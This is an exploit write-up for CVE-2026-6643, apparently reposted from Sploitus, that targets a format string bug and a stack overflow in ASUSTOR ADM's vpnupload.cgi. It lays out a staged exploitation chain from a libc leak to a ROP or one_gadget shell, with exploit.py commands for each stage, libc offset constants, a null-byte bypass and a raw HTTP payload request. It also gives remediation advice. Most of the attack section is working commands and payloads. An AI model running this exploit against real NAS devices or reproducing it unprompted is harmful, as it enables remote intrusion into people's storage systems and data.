Share
## https://sploitus.com/exploit?id=111A29BF-0A40-56F3-B843-72979CA77F89
# CVE-2026-6643 โ€” ASUSTOR ADM 5.1.2 RCE

Format String (CWE-134) + Stack Buffer Overflow (CWE-121) in `vpnupload.cgi`

## Vulnerability Summary

| Field | Value |
|-------|-------|
| Product | ASUSTOR ADM (ASUSTOR Data Master) |
| Affected Version | ADM 5.1.2.REO1 (X64_G3, 2026-02-25) |
| Component | `/portal/apis/settings/vpnupload.cgi` โ€” `upload_wireguard` action |
| Vulnerability Type | CWE-134 Format String / CWE-121 Stack Buffer Overflow |
| Severity | High |
| Auth Required | Yes (valid `Revive_Session` cookie) |
| Discovery Date | 2026-03-14 |

## Vulnerability Details

### Vulnerability A โ€” Format String (CWE-134)

The `upload_wireguard` handler parses a WireGuard config file, assembles the fields into a JSON object, then passes the result directly as the format string argument to `printf()`:

```c
pcVar2 = (char *)Json_To_String(uVar1);
printf(pcVar2);    // user-controlled format string
```

An attacker can embed printf format specifiers in any WireGuard config field:
- `%x` / `%p` โ€” read stack memory (information leak)
- `%n` โ€” write to arbitrary memory (code execution via GOT overwrite)

### Vulnerability B โ€” Stack Buffer Overflow (CWE-121)

The same handler uses unbounded `sscanf("%s")` to copy config values into 300-byte stack buffers, while `fgets` accepts up to 32,768 bytes per line:

```c
__isoc23_sscanf(__s, "PrivateKey = %s",           local_ac4);   // 300B
__isoc23_sscanf(__s, "Endpoint = %s",             local_164);   // 300B
// 8 fields total; only DNS has a length limit
```

Supplying more than 300 bytes overflows into adjacent buffers. At 4,000 bytes the saved RIP is corrupted, causing SIGSEGV.

### Binary Mitigations

| Protection | Status | Impact |
|-----------|--------|--------|
| FORTIFY_SOURCE | **Disabled** | `printf` (not `__printf_chk`) โ€” `%n` write works |
| Stack Canary | **Disabled** | No canary leak required |
| PIE | **Disabled** | GOT and gadget addresses are static |
| RELRO | Partial | **GOT is writable** |

## Exploitation Chain

```
Step 1  Format string %x   โ†’  Leak stack memory, recover libc base
Step 2  Endpoint overflow   โ†’  Overwrite saved RIP with one-gadget / system()
Step 3  execve("/bin/sh")   โ†’  Shell as the web server user
```

### Why Endpoint Is the Best Overflow Target

`local_164` (the Endpoint buffer) sits at `rbp-0x164`, the closest of the eight buffers to the saved return address:

```
Stack layout (Ghidra):
  local_ac4  PrivateKey           rbp-0xac4   300B
  local_998  Address              rbp-0x998   300B
  local_86c  PublicKey            rbp-0x86c   300B
  local_740  ListenPort           rbp-0x740   300B
  local_4e8  PresharedKey         rbp-0x4e8   300B
  local_3bc  AllowedIPs           rbp-0x3bc   300B
  local_290  PersistentKeepalive  rbp-0x290   300B
  local_164  Endpoint             rbp-0x164   300B  โ† target
  saved RBP                       rbp+0x000
  saved RIP                       rbp+0x008   โ† 0x164 + 8 = 364 bytes away
```

### Null Byte Bypass

`sscanf("%s")` stops copying at a null byte. A libc address (`0x7f...`) in little-endian ends with two null bytes. However, the upper two bytes of any saved RIP already hold `0x0000`, so the write lands correctly even though `sscanf` terminates early:

```
one_gadget address 0x00007f1234567890 (little-endian):
  \x90 \x78 \x56 \x34 \x12 \x7f | \x00 \x00
                                ^--- sscanf stops here
                                     but these bytes were already 0x00 โ†’ correct
```

All intermediate ROP gadgets must also come from libc (`0x7f...` range) to avoid embedded null bytes. Only the final value in the chain may terminate with nulls.

## Requirements

```bash
uv add requests
```

## Usage

### Step 1 โ€” Detect format string argument offset

```bash
uv run exploit.py  '' --stage offset
```

Example output:
```
[*] Detecting format string argument offset...
[+] Offset: 8  (echo: AAAA.41414141...)
```

### Step 2 โ€” Leak libc base

```bash
uv run exploit.py  '' --stage leak --fmt-offset 8
```

Example output:
```
[+] Stack dump (args 8..47):
    [  8]  0x0000000000000000
    [  9]  0x00007f8b2c3d4e5f  โ† libc candidate
    ...
[+] Best candidate: arg[9] = 0x7f8b2c3d4e5f
    Subtract the known offset of whichever symbol this is:
    libc_base = 0x7f8b2c3d4e5f - 
```

Identify the symbol and compute libc base:

```bash
readelf -s libc.so.6 | grep -w __libc_start_main
# e.g. offset 0x23d4e5f โ†’ libc_base = 0x7f8b2c3d4e5f - 0x23d4e5f
```

### Step 3 โ€” RCE

```bash
# Try one_gadget first (use the one_gadget tool to get correct offsets)
uv run exploit.py  '' --stage rce --libc-base 0x7f8b2c000000

# Fall back to pop rdi + system() ROP chain if one_gadget fails
uv run exploit.py  '' --stage rce-rop --libc-base 0x7f8b2c000000
```

### Step 4 โ€” Run commands (after GOT overwrite)

```bash
uv run exploit.py  '' --stage shell --cmd 'id'
```

## Obtaining libc Offsets

Extract `libc.so.6` from the firmware image, then run:

```bash
# system() offset
readelf -s libc.so.6 | grep -w system

# /bin/sh string offset
strings -a -t x libc.so.6 | grep '/bin/sh'

# one_gadget offsets
one_gadget libc.so.6    # gem install one_gadget
```

Update the constants in `exploit.py`:

```python
LIBC_SYSTEM      = 0x055410
LIBC_BINSH       = 0x1B75AA
LIBC_POP_RDI_RET = 0x026B72
LIBC_ONE_GADGETS = [0xE3AFE, 0xE3B01, 0xE3B04]
```

## Proof of Concept

### Format String Leak

```http
POST /portal/apis/settings/vpnupload.cgi?act=upload_wireguard HTTP/1.1
Cookie: 
Content-Type: multipart/form-data; boundary=BOUND

--BOUND
Content-Disposition: form-data; name="metadata"; filename="t.conf"

dummy
--BOUND
Content-Disposition: form-data; name="file"; filename="t.conf"

[Interface]
PrivateKey = AAAA_%08x_%08x_%08x_%08x
Address = 10.0.0.2/24
DNS = 1.1.1.1

[Peer]
PublicKey = BBBB_normal
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.test.com:51820
--BOUND--
```

> **Note:** Two multipart sections are required. The parser uses a boundary counter; `sscanf` parsing activates only on the second section.

Response (clientprivatekey field):
```
AAAA_feebd19f_0000012b_0000007d_00000002
```

### Stack Buffer Overflow (crash)

Set `PrivateKey` to 4,000 bytes โ†’ SIGSEGV (exit code 139).

## Remediation

| Vulnerability | Fix |
|--------------|-----|
| Format String | Replace `printf(pcVar2)` with `printf("%s", pcVar2)` or `fputs(pcVar2, stdout)` |
| Buffer Overflow | Add length limits to all `sscanf` format strings (e.g. `%299s` for 300-byte buffers) |

## Test Environment

- Firmware: `X64_G3_5.1.2.REO1.img` โ€” `vpnupload.cgi` extracted from image
- Platform: x86-64 Linux, using the firmware's own `ld-linux` and shared libraries
- Auth bypass: single-byte patch `je` โ†’ `jmp` at offset `0x1224` (local testing only)

## References

- **Research Article:** https://blog.mlgzackfly.tw/cve-2026-6643/

## Disclaimer

This exploit is provided for security research and authorized testing only. Do not use against systems without explicit permission.